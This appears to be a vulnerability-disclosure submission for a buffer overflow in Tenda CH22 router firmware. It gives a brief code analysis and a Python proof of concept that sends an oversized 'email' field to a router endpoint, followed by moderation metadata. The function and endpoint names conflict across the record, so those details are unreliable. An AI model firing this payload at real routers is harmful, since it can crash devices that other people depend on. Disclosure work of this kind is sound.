| Title | Tenda CH22 V1.0.0.1 Buffer Overflow |
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| Description | ## Vulnerability details
The Tenda CH22 V1.0.0.1 firmware has a buffer overflow vulnerability in the `formCertListInfo` function. The`V10` variable receives the `email` parameter from a POST request and is later passed to the `sprintf` function. However, since the user can control the input of `email`, the statement `sprintf(s, "CN = %s/emailAddress=%s\n", v11, v10);` can cause a buffer overflow.
## PoC
import requests
ip = "192.168.1.1"
url = f'http://{ip}/goform/CertLocalPrecreate'
payload = b'a' * 1000
data = {
'email':payload
}
requests.post(url, data=data) |
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| Source | ⚠️ https://candle-throne-f75.notion.site/Tenda-CH22-formCertLocalPrecreate-377df0aa11858053ba56e0b6f14d5bb0 |
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| User | ysnysn0121 (UID 86198) |
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| Submission | 06/21/2026 17:13 (3 months ago) |
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| Moderation | 08/07/2026 12:41 (2 months later) |
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| Status | Duplicate |
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| VulDB entry | 377893 [Tenda CH22 1.0.0.1 /goform/CertListInfo formCertListInfo name buffer overflow] |
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| Points | 0 |
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